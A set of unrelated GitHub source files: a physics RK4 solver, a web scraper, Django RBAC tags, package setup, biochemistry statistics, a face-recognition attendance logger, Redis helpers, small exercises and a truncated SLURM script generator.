+{"seq_id":"5985179345","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef diff_log_derivative(V0, E, Xm):\n    Delta = 0.\n\n    ### START YOUR CODE HERE ###\n\n    # E = -76.      # energy in MeV\n    L = 2.        # boundary in fm\n    # V0 = 83.      # potential in MeV\n    conv = 0.0483  # 2m/hbar^2, m = 940 MeV/c^2, hbar*c = 197.32 MeV*fm\n    x_min, x_max = -2*L, +2*L   # lower/upper bound\n    kappa = (conv*abs(E))**0.5  # wave vector\n    # x_match = L*0.7             # match location\n    x_match = Xm\n\n    def V(x):\n        return (np.abs(x) <= L)*(-1+np.abs(x)/L)*V0\n\n    def f(x, y):\n        psi = y[0]\n        psip = y[1]\n        psipp = -conv*(E-V(x))*psi\n        return np.array([psip, psipp])\n\n    def solve_rk4(x0, x1, y, h):\n        x = x0\n        psi = []\n        while (x-x0)*(x-x1) <= 1E-7:\n            psi.append((x, y[0], y[1]))\n            k1 = f(x, y)\n            k2 = f(x+0.5*h, y+0.5*h*k1)\n            k3 = f(x+0.5*h, y+0.5*h*k2)\n            k4 = f(x+h, y+h*k3)\n            y += h/6.*(k1+2.*k2+2.*k3+k4)\n            x += h\n        return np.array(psi)\n\n    x = x_min\n    y = np.array([np.exp(kappa*x), kappa*np.exp(kappa*x)])\n    psi_L = solve_rk4(x, x_match, y, +0.001)\n\n    x = x_max\n    y = np.array([np.exp(-kappa*x), -kappa*np.exp(-kappa*x)])\n    psi_R = solve_rk4(x, x_match, y, -0.001)\n\n    delta = (psi_L[-1, 2]/psi_L[-1, 1]-psi_R[-1, 2]/psi_R[-1, 1]) / \\\n            (psi_L[-1, 2]/psi_L[-1, 1]+psi_R[-1, 2]/psi_R[-1, 1])\n    # print('E = ', E, ' x_match = ', x_match, ' delta = ', delta)\n    Delta = delta\n\n    # plt.figure(figsize=(8, 6), dpi=80)\n    # vx = np.linspace(x_min, x_max, 500)\n    # vy = V(vx)\n    # plt.plot(vx, vy, c='gray', lw=3)\n    # plt.plot([x_match, x_match], [0., -V0], c='blue', lw=2, ls=':')\n    # psi_max = max(psi_L[:, 1].max(), psi_R[:, 1].max())\n    # plt.plot(psi_L[:, 0], psi_L[:, 1]/psi_max*V0*0.8-V0, lw=3, ls='--')\n    # plt.plot(psi_R[:, 0], psi_R[:, 1]/psi_max*V0*0.8-V0, lw=3, ls='-.')\n    # plt.show()\n    #### END YOUR CODE HERE ####\n    return float(Delta)\n","repo_name":"Joshua0209/Computational-Physics","sub_path":"Physics/T1/T1_2.py","file_name":"T1_2.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10712972767","text":"from bs4 import BeautifulSoup\nimport requests\n\nurl = 'https://www.spacex.com/launches/'\nresponse = requests.get(url)\n\nif response.status_code == 200:\n    soup = BeautifulSoup(response.content, 'lxml')\n\n    launches_container = soup.select_one('#items')\n\n    launches = launches_container.select('.item')\n\n    for launch in launches:\n        date_element = launch.select_one('.date')\n        date = date_element.text\n\n        label_element = launch.select_one('.label')\n        label = label_element.text\n\n        print(f'Launch date: {date} Label: {label}')\nelse:\n    print('Something went wrong.')\n","repo_name":"ayoubsousali/scrape-spacex-beautifulsoup-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15898999606","text":"# -*-coding:utf-8-*-\n# __author__ = \"Morn\"\n# Date:2019/1/25\nimport re\nfrom collections import OrderedDict\nfrom django.template import Library\nfrom django.conf import settings\n\nfrom rbac.utils.url_util import reverse_url_t\n\nregister = Library()\n\n\n@register.inclusion_tag(\"rbac/first_level_menu.html\")\ndef first_level_menu(request):\n    menus = request.session[settings.USER_MENU_KEY]\n    return {\"menus\": menus, \"request\": request}\n\n\n\"\"\"\n旧版本\n@register.inclusion_tag(\"rbac/multi_menu.html\")\ndef multi_menu(request):\n    menu_dict = request.session[settings.USER_MENU_KEY]\n    menus = OrderedDict()\n    sort_keys = sorted(menu_dict)\n    for key in sort_keys:\n        menu = menu_dict[key]\n        menu[\"class\"] = \"hide\"\n        for p_key, value in menu[\"children\"].items():\n            re_url = value[\"url\"]\n            if value.get(\"sub_menu\"):\n                value[\"class\"] = \"hide\"\n                if re.match(re_url, request.path_info):\n                    menu[\"children\"][str(value[\"sub_menu\"])][\"class\"] = \"active\"\n                    menu[\"class\"] = \"\"\n            elif re.match(re_url, request.path_info):\n                value[\"class\"] = \"active\"\n                menu[\"class\"] = \"\"\n        menus[key] = menu\n    return {\"menus\": menus.values(), \"request\": request}\n\"\"\"\n\n\n@register.inclusion_tag(\"rbac/multi_menu.html\")\ndef multi_menu(request):\n    menu_dict = request.session[settings.USER_MENU_KEY]\n    menus = OrderedDict()\n    # print(menu_dict)\n    sort_keys = sorted(menu_dict)\n    for key in sort_keys:\n        menu = menu_dict[key]\n        menu[\"class\"] = \"hide\"\n        for value in menu[\"children\"]:\n            req_id = request.selected_permission\n            if value[\"permission_id\"] == req_id:\n                value[\"class\"] = \"active\"\n                menu[\"class\"] = \"\"\n        menus[key] = menu\n    return {\"menus\": menus.values(), \"request\": request}\n\n\n@register.filter\ndef permission_display(request, name):\n    menu_dict = request.session[settings.USER_PERMISSIONS_KEY]\n    if name in menu_dict:\n        return True\n\n\n@register.simple_tag\ndef reverse_url(request, name, *args, **kwargs):\n    \"\"\"\n    url反向解析并且保存选中信息\n    :param request:\n    :param name: url别名\n    :param args: 参数\n    :param kwargs: 参数\n    :return:\n    \"\"\"\n    return reverse_url_t(request, name, *args, **kwargs)\n\n","repo_name":"mornYue/luffy_permissions","sub_path":"rbac/templatetags/rbac.py","file_name":"rbac.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"675103315","text":"from distutils.util import convert_path\n\nfrom setuptools import find_packages, setup\n\nmain_ns = {}\nver_path = convert_path(\"bootleg/_version.py\")\nwith open(ver_path) as ver_file:\n    exec(ver_file.read(), main_ns)\n\nNAME = \"bootleg\"\nDESCRIPTION = \"Bootleg NED System\"\nURL = \"https://github.com/HazyResearch/bootleg\"\nEMAIL = \"lorr1@cs.stanford.edu\"\nAUTHOR = \"Laurel Orr\"\nVERSION = main_ns[\"__version__\"]\n\nREQUIRED = [\n    \"argh>=0.26.2, <1.0.0\",\n    \"emmental==0.1.0\",\n    \"faiss-cpu>=1.6.8, <1.7.1\",\n    \"jsonlines>=2.0.0, <2.4.0\",\n    \"marisa_trie>=0.7.7, <0.8\",\n    \"mock>=4.0.3, <4.5.0\",\n    \"nltk>=3.6.4, <4.0.0\",\n    \"notebook>=6.4.1, <7.0.0\",\n    \"numba>=0.50.0, <0.55.0\",\n    \"numpy>=1.19.0, <=1.20.0\",\n    \"pandas>=1.2.3, <1.5.0\",\n    \"progressbar>=2.5.0, <2.8.0\",\n    \"pydantic>=1.7.1, <1.8.0\",\n    \"pyyaml>=5.1, <6.0\",\n    \"rich>=10.0.0, <10.20.0\",\n    \"scikit_learn>=0.24.0, <0.27.0\",\n    \"scipy>=1.6.1, <1.9.0\",\n    \"spacy>=3.2.0\",\n    \"tagme>=0.1.3, <0.2.0\",\n    \"torch>=1.7.0, <1.10.5\",\n    \"tqdm>=4.27\",\n    \"transformers>=4.0.0, <5.0.0\",\n    \"ujson>=4.1.0, <4.2.0\",\n    \"wandb>=0.10.0, <0.13.0\",\n]\n\nEXTRAS = {\n    \"dev\": [\n        \"black>=22.3.0\",\n        \"docformatter==1.4\",\n        \"flake8>=3.9.2\",\n        \"isort>=5.9.3\",\n        \"nbsphinx==0.8.1\",\n        \"pep8_naming==0.12.1\",\n        \"pre-commit>=2.14.0\",\n        \"pytest==6.2.2\",\n        \"python-dotenv==0.15.0\",\n        \"recommonmark==0.7.1\",\n        \"sphinx-rtd-theme==0.5.1\",\n    ],\n    \"embs-gpu\": [\n        \"faiss-gpu>=1.7.0, <1.7.2\",\n    ],\n}\n\nsetup(\n    name=NAME,\n    version=VERSION,\n    description=DESCRIPTION,\n    packages=find_packages(),\n    url=URL,\n    install_requires=REQUIRED,\n    extras_require=EXTRAS,\n)\n","repo_name":"HazyResearch/bootleg","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":207,"dataset":"github-code","pt":"77"}
+{"seq_id":"13511578761","text":"#!/usr/bin/env python\nimport os, sys\n\ncolumns={'2010':{'cpd_id':7,'formula':6,'structure':16,'rxn_id':9,'equation':8,'status':16,'reversibility':18,'direction':14},\n         '2014':{'cpd_id':0,'formula':3,'structure':6,'rxn_id':0,'equation':6,'status':17,'reversibility':8,'direction':9,'is_obsolete':9}}\n\nobsolete_in_2014={'rxn':18,'cpd':9}\nout = open('Growth_Stats.tsv','w')\nOld_Rxn_Rev=dict()\nfor year in ['2010','2014']:\n\n    print(\"Statistics from \"+year)\n    compounds_dict=dict()\n    with open('../'+year+'/compoundTable.txt') as fh:\n        for line in fh.readlines():\n            array=line.split('\\t')\n            array[-1]=array[-1].strip()\n\n            if(year=='2014' and array[obsolete_in_2014['cpd']] == \"1\"):\n                continue\n\n            compounds_dict[array[columns[year]['cpd_id']]]={'formula':array[columns[year]['formula']],\n                                                            'structure':None}\n            if(len(array)>16 and array[columns[year]['structure']].strip() != \"\" and array[columns[year]['structure']] != 'null'):\n                compounds_dict[array[columns[year]['cpd_id']]]['structure']=array[columns[year]['structure']]\n    fh.close()\n\n    reactions_dict=dict()\n    with open('../'+year+'/reactionTable.txt') as fh:\n        for line in fh.readlines():\n            array=line.split('\\t')\n            array[-1]=array[-1].strip()\n\n            if(year=='2014' and array[obsolete_in_2014['rxn']] == \"1\"):\n                continue\n\n            reactions_dict[array[columns[year]['rxn_id']]]={'eqn':array[columns[year]['equation']],\n                                                            'stat':array[columns[year]['status']],\n                                                            'dir':array[columns[year]['reversibility']]}\n\n            if(year=='2014'):\n                Old_Rxn_Rev[array[columns[year]['rxn_id']]]=array[columns[year]['reversibility']]\n\n    fh.close()\n\n    compound_counts={'cpd':0,'Generic':0,'Structure':0}\n    for cpd in compounds_dict:\n        compound_counts['cpd']+=1\n        if(compounds_dict[cpd]['structure'] is not None):\n            compound_counts['Structure']+=1\n        if('R' in compounds_dict[cpd]['formula']):\n            compound_counts['Generic']+=1\n\n    print(str(compound_counts['cpd'])+\" compounds\")\n    for entry in ['Structure','Generic']:\n        pct = \"{0:.2f}\".format(float(compound_counts[entry])/float(compound_counts['cpd']))\n        print(entry,compound_counts[entry],pct)\n    out.write('\\t'.join([year,'cpd',str(compound_counts['cpd']),str(compound_counts['Structure'])])+'\\n')\n\n    reaction_counts={'rxn':0,'Generic':0,'Complete':0,'Balanced':0,'Reversibility':0}\n    for rxn in reactions_dict:\n        reaction_counts['rxn']+=1\n\n        #Skip empty reactions\n        if(reactions_dict[rxn]['eqn'] == \" <=> \"):\n            continue\n\n        complete=True\n        generic=False\n\n        for entry in reactions_dict[rxn]['eqn'].split(' '):\n            entry=entry.strip()\n\n            if(len(entry)>0 and entry[-1] == ']'):\n                entry=entry[:-3]\n\n            if(len(entry)>0 and entry[0:3] == 'n-1'):\n                entry=entry[3:]\n\n            if(entry in compounds_dict):\n\n                if(compounds_dict[entry]['structure'] is None):\n                    complete=False\n\n                if('R' in compounds_dict[entry]['formula']):\n                    generic=True\n\n        if(complete is True):\n            reaction_counts['Complete']+=1\n\n        if(generic is True):\n            reaction_counts['Generic']+=1\n\n        if('OK' in reactions_dict[rxn]['stat']):\n            reaction_counts['Balanced']+=1\n\n            if(reactions_dict[rxn]['dir'] == '=' or reactions_dict[rxn]['dir'] == '<=>' or \\\n                   reactions_dict[rxn]['dir'] == '' or reactions_dict[rxn]['dir'] == '?'):\n                reaction_counts['Reversibility']+=1\n\n    print(str(reaction_counts['rxn'])+\" reactions\")\n    for entry in ['Complete','Balanced','Generic','Reversibility']:\n        pct = \"{0:.2f}\".format(float(reaction_counts[entry])/float(reaction_counts['rxn']))\n        print(entry,reaction_counts[entry],pct)\n    print(\"\\n========================\\n\")\n    out.write('\\t'.join([year,'rxn',str(reaction_counts['rxn']),str(reaction_counts['Balanced'])])+'\\n')\n\nfrom BiochemPy import Compounds, Reactions,InChIs\n\ncompounds_helper = Compounds()\ncompounds_dict = compounds_helper.loadCompounds()\n\nreactions_helper = Reactions()\nreactions_dict = reactions_helper.loadReactions()\n\nprint(\"Statistics from 2020\")\nout = open('Growth_Stats.tsv','a')\ncompound_counts={'ModelSEED':0,'Generic':0,'Structure':0}\nfor cpd in compounds_dict:\n\n    if(compounds_dict[cpd]['is_obsolete']==\"1\"):\n        continue\n\n    compound_counts['ModelSEED']+=1\n\n    if(compounds_dict[cpd]['smiles'] != \"\"):\n        compound_counts['Structure']+=1\n    if('R' in compounds_dict[cpd]['formula']):\n        compound_counts['Generic']+=1\n\nprint(str(compound_counts['ModelSEED'])+\" compounds\")\nfor entry in ['Structure','Generic']:\n    pct = \"{0:.2f}\".format(float(compound_counts[entry])/float(compound_counts['ModelSEED']))\n    print(entry,compound_counts[entry],pct)\nout.write('\\t'.join(['2020','cpd',str(len(compounds_dict.keys())),str(compound_counts['Structure'])])+'\\n')\n\nreaction_counts={'ModelSEED':0,'Generic':0,'Complete':0,'Balanced':0,'Reversible':0}\nNew_Rxn_Rev=dict()\nfor rxn in reactions_dict:\n\n    if(reactions_dict[rxn]['status'] == \"EMPTY\"):\n        continue\n\n    if(reactions_dict[rxn]['is_obsolete']==1):\n        continue\n\n    reaction_counts['ModelSEED']+=1\n\n    complete=True\n    generic=False\n\n    New_Rxn_Rev[rxn]=reactions_dict[rxn]['reversibility']\n\n    for entry in reactions_dict[rxn]['compound_ids'].split(';'):\n\n        if(entry in compounds_dict):\n\n            if(compounds_dict[entry]['smiles'] == \"\"):\n                complete=False\n\n            if('R' in compounds_dict[entry]['formula']):\n                generic=True\n\n    if(complete is True):\n        reaction_counts['Complete']+=1\n\n    if(generic is True):\n        reaction_counts['Generic']+=1\n\n    print(\"2020 Status: \"+reactions_dict[rxn]['status'])\n    if('OK' in reactions_dict[rxn]['status']):\n        reaction_counts['Balanced']+=1\n\n        if(reactions_dict[rxn]['reversibility']==\"=\" or reactions_dict[rxn]['reversibility']=='?'):\n            reaction_counts['Reversible']+=1\n\nprint(str(reaction_counts['ModelSEED'])+\" reactions\")\nfor entry in ['Complete','Balanced','Generic','Reversible']:\n    pct = \"{0:.2f}\".format(float(reaction_counts[entry])/float(reaction_counts['ModelSEED']))\n    print(entry,reaction_counts[entry],pct)\nout.write('\\t'.join(['2020','rxn',str(len(reactions_dict.keys())),str(reaction_counts['Balanced'])])+'\\n')\nout.close()\n\nprint(\"\\n========================\")\nprint(\"For Thermodynamics section\")\nRev_Counts={'New_Rev':0,'New_iRev':0,'ReviRev':0,'iRevRev':0}\nfor rxn in New_Rxn_Rev:\n    if(New_Rxn_Rev[rxn] =='?'):\n        continue\n\n    if(rxn not in Old_Rxn_Rev):\n        if(New_Rxn_Rev[rxn]=='='):\n            Rev_Counts['New_Rev']+=1\n        else:\n            Rev_Counts['New_iRev']+=1\n    else:\n        if(Old_Rxn_Rev[rxn] == '?'):\n            if(New_Rxn_Rev[rxn]=='='):\n                Rev_Counts['New_Rev']+=1\n            else:\n                Rev_Counts['New_iRev']+=1\n        else:\n            if(Old_Rxn_Rev[rxn] == '=' and New_Rxn_Rev[rxn] != '='):\n                Rev_Counts['ReviRev']+=1\n            if(Old_Rxn_Rev[rxn] != '=' and New_Rxn_Rev[rxn] == '='):\n                Rev_Counts['iRevRev']+=1\n\nprint(\"Reversibility for New Reactions: \",Rev_Counts['New_Rev']+Rev_Counts['New_iRev'])\nprint(\"Reversible to irreversible: \",Rev_Counts['ReviRev'])\nprint(\"Irreversible to reversible: \",Rev_Counts['iRevRev'])\n","repo_name":"ModelSEED/ModelSEEDDatabase","sub_path":"Scripts/Statistics/Tables/Statistics_from_Old_Current_Databases.py","file_name":"Statistics_from_Old_Current_Databases.py","file_ext":"py","file_size_in_byte":7716,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"77"}
+{"seq_id":"6243263319","text":"\nfrom imutils.video import VideoStream\nimport numpy as np\nimport argparse\nimport imutils\nimport time\nimport cv2\nimport os\nfrom DBConnection import Db\nimport face_recognition\n# image_path=\"C:\\\\Users\\\\lenovo\\\\PycharmProjects\\\\face-mask-detector\\\\photos\\\\\"\nknown_faces = []\nids = []\ntype=[]\ndb=Db()\nres=db.select(\"SELECT * FROM `staff`\")\nif len(res)>0:\n    for k in res:\n        stafftype=k[\"type\"]\n        if stafftype==\"staff\":\n            ids.append(k['regid'])\n            fname=k['image']\n            fn=fname.split(\"/\")\n            fname=fn[len(fn)-1]\n            img=\"C:\\\\Users\\\\HP\\\\PycharmProjects\\\\MES MASK VIOLATIONS\\\\untitled\\\\static\\\\staff\\\\\"+fname\n            print(img)\n            b_img = face_recognition.load_image_file(img)\n            print(b_img)\n            b_imgs = face_recognition.face_encodings(b_img)[0]\n            known_faces.append(b_imgs)\n            type.append(\"staff\")\n        else:\n            ids.append(k['regid'])\n            fname = k['image']\n            fn = fname.split(\"/\")\n            fname = fn[len(fn) - 1]\n            img = \"C:\\\\Users\\\\HP\\\\PycharmProjects\\\\MES MASK VIOLATIONS\\\\untitled\\\\static\\\\staff\\\\\" + fname\n            print(img)\n            b_img = face_recognition.load_image_file(img)\n            print(b_img)\n            b_imgs = face_recognition.face_encodings(b_img)[0]\n            known_faces.append(b_imgs)\n            type.append(\"staff\")\n\n\n\n#\n#\nres1=db.select(\"SELECT * FROM familiar_person\")\nif len(res1)>0:\n    for k in res1:\n        ids.append(k['fp_id'])\n        fname=k['fp_image']\n        fn=fname.split(\"/\")\n        fname=fn[len(fn)-1]\n        img = \"C:\\\\Users\\\\HP\\\\PycharmProjects\\\\MES MASK VIOLATIONS\\\\untitled\\\\static\\\\familiar_persons\\\\\" + fname\n        print(img)\n        b_img = face_recognition.load_image_file(img)\n        print(b_img)\n        b_imgs = face_recognition.face_encodings(b_img)[0]\n        known_faces.append(b_imgs)\n        type.append(\"familiar_person\")\n\n\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\nwhile True:\n    # grab the frame from the threaded video stream and resize it\n    # to have a maximum width of 400 pixels\n    frame = vs.read()\n    frame = imutils.resize(frame, width=400)\n\n    cv2.imwrite(\"a.jpg\",frame)\n\n    unknown_image = face_recognition.load_image_file(\"a.jpg\")\n    m = len(face_recognition.face_encodings(unknown_image))\n    print(\"lllll \", m)\n    db = Db()\n    flg=0\n    for a in range(m):\n        s = face_recognition.face_encodings(unknown_image)[a]\n        unknown_encoding = face_recognition.face_encodings(unknown_image)[a]\n        results = face_recognition.compare_faces(known_faces, unknown_encoding, tolerance=0.50)\n        print(str(results))\n        for i in range(0, len(results)):\n            if results[i] == True and type[i]==\"staff\":\n                flg=1\n                print(\"hiii\")\n                db2 = Db()\n                rr = db2.selectOne(\"select * from s_attendance where a_date=curdate() and s_id='\" + str(\n                    ids[i]) + \"' LIMIT 1\")\n                print(rr)\n                if rr is None:\n                    rs = db2.insert(\n                        \"insert into s_attendance(`a_date`,s_id,status,a_time,check_out) values(curdate(),'\" + str(\n                            ids[i]) + \"','checkedin',curtime(),'')\")\n                    # print(\"rs==\" + rs)\n                    print(\"inserted......\")\n                else:\n                    if rr['status'] == 'checkedin':\n                        print(\"hlooo\")\n                        st_id = str(rr['s_id'])\n                        if str(st_id) == str(ids[i]):\n                            res1 = db2.update(\n                                \"update s_attendance set check_out=curtime(),status='checkedout' where s_id='\" + str(\n                                    ids[i]) + \"' and `a_date`=curdate()\")\n                            print(res1)\n                    else:\n                        res4 = db2.update(\n                            \"update s_attendance set check_out=curtime(),status='present' where s_id='\" + str(\n                                ids[i]) + \"' and `a_date`=curdate()\")\n                        print(res4)\n\n            elif results[i] == True and type[i]==\"familiar_person\":\n                flg=1\n                print(\"Familiar\")\n                db2 = Db()\n                rr = db2.selectOne(\"select * from alert where date=curdate() and f_id='\" + str(\n                    ids[i]) + \"' LIMIT 1\")\n                print(rr)\n                if rr is None:\n                    rs = db2.insert(\n                        \"insert into alert(`date`,f_id,time) values(curdate(),'\" + str(\n                            ids[i]) + \"',curtime())\")\n                    print(\"rs==\" + rs)\n                    print(\"inserted......\")\n                else:\n                    res1 = db2.update(\n                        \"update alert set time=curtime() where f_id='\" + str(\n                            ids[i]) + \"' and `date`=curdate()\")\n\n        if flg==0:\n            from PIL import Image\n            img=Image.open(\"C:\\\\Users\\\\HP\\\\PycharmProjects\\\\MES MASK VIOLATIONS\\\\face-mask-detector\\\\face-mask-detector\\\\a.jpg\")\n            dt = time.strftime(\"%Y%m%d-%H%M%S\")\n            img.save(\"C:\\\\Users\\\\HP\\\\PycharmProjects\\\\MES MASK VIOLATIONS\\\\untitled\\\\static\\\\visitor_img\\\\\"+dt+\".jpg\")\n            path=\"/static/visitor_img/\"+dt+\".jpg\"\n            db=Db()\n            db.insert(\"insert into visitors_log(`v_date`,v_img,v_time) values(curdate(),'\"+path+\"', curtime())\")\n\n\n\n    cv2.imshow(\"Frame\", frame)\n    cv2.waitKey(23)\n","repo_name":"aryaviswanathan123/Mask_and_socialdistancing_violation","sub_path":"detect_mask_video.py","file_name":"detect_mask_video.py","file_ext":"py","file_size_in_byte":5539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4506187756","text":"import redis\nimport json\nimport datetime\nimport time\nfrom random import randint\nimport logging\n\nlogging.basicConfig(\n    format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\ndef redisWeekValidation(concept, user):\n    msg = \"\"\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    logger.info(\"redisWeekValidation(%i) => %s\" % (user.id, concept))\n    if r.exists(concept) != 0:  # Si el concepto consultado ya existe (1 week), entonces no paga\n        if r.exists(\"valordiario\") == 0:\n            prevuser = r.get(concept).decode(\"utf-8\")\n            msg = \"El usuario @%s ya ha consultado por la definicion semanal '%s'\\n\\n\" % (\n                prevuser, concept.capitalize())\n            msg += \"!!*Aún puedes ganar la chaucha diaria*!!\\n\"\n        msg += \"!!*Busca una nueva definición y obtén tu chaucha diaria*!!\\n\\n\"\n\n    return msg\n\n\ndef redisDayValidation(concept, user):\n\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    if r.exists(\"valordiario\") == 0:  # Si el concepto diario no existe, se crea y paga\n        now = datetime.datetime.now()  # Ahora\n        tomorrow = now + datetime.timedelta(days=1)  # Mañana\n        # 2 Semanas. Implica más conceptos\n        week = now + datetime.timedelta(days=14)\n        # Segundos hasta el día siguiente en la mañana, entre 9 y 13, entre 0 y 59 min\n        # Con esto evito el posible bot que a las 00 consulta al privado\n        myhour = randint(9, 13)\n        mymin = randint(0, 59)\n        seconds_until_midnight = (tomorrow.replace(\n            hour=myhour, minute=mymin, second=0, microsecond=0) - now).total_seconds()\n        # Segundos hasta proxima semana\n        seconds_until_oneweek_midnight = (week.replace(\n            hour=0, minute=0, second=0, microsecond=0) - now).total_seconds()\n\n        # Se obtienen valores enteros para pasarlos a Redis\n        seconds_until_oneweek_midnight_int = int(\n            round(seconds_until_oneweek_midnight))\n        seconds_until_midnight_int = int(round(seconds_until_midnight))\n\n        # Se guarda en la variable valordiario el username premiado del día\n        logger.info(\"redisDayValidation(%i) => valor seconds diario [%i]\" % (\n            user.id, seconds_until_midnight_int))\n        r.setex(\"valordiario\", seconds_until_midnight_int, user.username)\n        # Se guarda en la variable concept el username premiado del día y se guarda 1 semana\n        # Con esto evitamos que se consulte a diario por el concepto 'blockchain', forzando\n        # la rotación de los diferentes conceptos\n        logger.info(\"redisDayValidation(%i) => valor seconds week [%i]\" % (\n            user.id, seconds_until_oneweek_midnight_int))\n        r.setex(concept, seconds_until_oneweek_midnight_int, user.username)\n        return True\n\n    return False\n\n\ndef arrayWinners(user):\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    array = []\n    if r.exists(\"winners\") != 0:  # si el valor existe\n        # Si ya existe, obtengo el array de redis\n        array = json.loads(r.get('winners').decode('utf-8'))\n    array.append(user.id)\n    if len(array) > 13:\n        # Quito el primer elemento. El array se va moviendo tipo shift\n        del array[0]\n    json_winners = json.dumps(array)\n    r.set('winners', json_winners)\n\n\ndef getWinners():\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    array = []\n    if r.exists(\"winners\") != 0:  # si el valor existe\n        return json.loads(r.get('winners').decode('utf-8'))\n    return array\n\n\ndef getRedisPriceCoin(crypto, user):\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    logger.info(\"getRedisPriceCoin(%i) => %s\" % (user.id, crypto))\n    if r.exists(crypto) != 0:\n        return r.get(crypto)\n    return \"\"\n\n\ndef setRedisPriceCoin(crypto, user, valor):\n    r = redis.StrictRedis()  # obtengo instancia de Redis\n    logger.info(\"setRedisPriceCoin(%i) => %s\" % (user.id, crypto))\n    r.setex(crypto, 60*2, valor)\n    return \"\"\n","repo_name":"proyecto-chaucha/quirquincho","sub_path":"contrib/setexredis.py","file_name":"setexredis.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"es","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"30337372806","text":"# -*- coding: utf-8 -*-\n# A - Add Sub Mul\n# https://atcoder.jp/contests/abc098/tasks/abc098_a\n\na, b = map(int, input().split())\n\nadd = a + b\nsub = a - b\nmulti = a * b\n\nprint(max(add, sub, multi))\n","repo_name":"yu5shi8/AtCoder","sub_path":"ABC_A/ABC098A.py","file_name":"ABC098A.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43588920792","text":"'''\r\nBubblesort algortime\r\n'''\r\ndef bubbleSort(lijst):\r\n    n = len(lijst)\r\n\r\n    # Loop door alle cijfers in je lijst\r\n    for i in range(n - 1):\r\n\r\n        # Pak alleen de cijfers die je nog niet hebt gepakt.\r\n        # Deze neemt alleen de cijfers mee die nog niet op de juiste plek staan.\r\n        for j in range(0, n - i - 1):\r\n\r\n            # Als je een cijfer tegenkomt dat groter is dan je zelf bent, wissel dan van positie.\r\n            if lijst[j] > lijst[j + 1]:\r\n                lijst[j], lijst[j + 1] = lijst[j + 1], lijst[j]","repo_name":"JurreBrandsen1709/Code-caf--YT","sub_path":"sorting-algoritms/bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28165805798","text":"import argparse\nimport os\nimport time\nimport subprocess\n\ndate = time.strftime(\"%y-%m-%d-%H-%M-%S\")\n\n\"\"\" COURTESY OF LINDSEY KWOK & MAX NEWMAN\nUsage: python make_remote_jupyter_lab_session.py <optional partition; default is p_km1243_1> <full directory path where jupyter lab is launched; default is /projects/f_km1243_1/> <conda environment name> <port on amarel to use; default is 8888> \n\n\"\"\"\n\n\ndef parse_options():\n    \"\"\"Function to handle options speficied at command line      \n    \"\"\"\n    parser = argparse.ArgumentParser(description='Process input parameters.')\n    parser.add_argument('-partition', dest='partition', action='store', default='skylake',\n                        help='which partition to run job on')\n    parser.add_argument('-directory', action='store', default='/home/skhakpas/codes',\n                        help='Specify the directory the in which jupyter lab should launch.')\n    parser.add_argument('-shell_name', action='store', default='~/.bash_profile',\n                        help='Shell where conda environment path is defined.')\n    parser.add_argument('-conda_env', action='store', default='base',\n                        help='Name of conda environment the jupyter lab should run in.')\n    # parser.add_argument('-r_port', action='store', default='8888', help='Amarel (remote) port to use.')\n    parser.add_argument('-python_file', action='store', default='', help='Specify python file to run.')\n    parser.add_argument('-mem', action='store', default='40000', help='Needed memory.')\n    parser.add_argument('-pythonFileArguments', action='store', default='', help='Arguments for the python file you are'\n                                                                                 'running.')\n    parser.add_argument('-n_gpu', action='store', default=1, help='Number of requested gpus')\n    parser.add_argument('-n_hrs', action='store', default=100, help='Number of hours gpus')\n\n    # Parses through the arguments and saves them within the keyword args\n    args = parser.parse_args()\n    return args\n\n\nargs = parse_options()\npartition = args.partition\nemail = subprocess.check_output('echo $USER', shell=True).decode('ascii')[:-1]\njobname = f'gpu_{time.strftime(\"%m-%d-%H-%M\")}'\noutfilename = f'python_{date}'\ncwd = args.directory\nshell_name = args.shell_name\nconda_env = args.conda_env\npython_file = args.python_file\nmem = args.mem\narguments = args.pythonFileArguments\nn_gpu = args.n_gpu\nn_hrs = args.n_hrs\n# rport = args.r_port\nscript = \"\"\"#!/bin/bash\n\n#SBATCH --partition={partition}       # Partition (job queue)\n#SBATCH --job-name={jobname}          # Assign an short name to your job\n#SBATCH --nodes=1                     # Number of nodes you require\n#SBATCH --ntasks=1                    # Total # of tasks across all nodes\n#SBATCH --cpus-per-task=1             # Cores per task (>1 if multithread tasks)\n#SBATCH --mem={mem}                 # Real memory (RAM) required (MB)\n#SBATCH --time={n_hrs}:00:00               # Total run time limit (HH:MM:SS)\n#SBATCH --output={outfilename}.out    # STDOUT output file\n#SBATCH --error={outfilename}.err     # STDERR output file (optional)\n#SBATCH --export=ALL                  # Export you current env to the job env\n#SBATCH --mail-type=END\n#SBATCH --mail-user=somayeh.khakpash@gmail.com\n#SBATCH --gres=gpu:{n_gpu}                  # Number of GPUs\ncd {cwd}\nsource {shell_name}\nmodule load gcc/11.3.0\nmodule load openmpi/4.1.4\nmodule load python/3.10.4\nmodule load 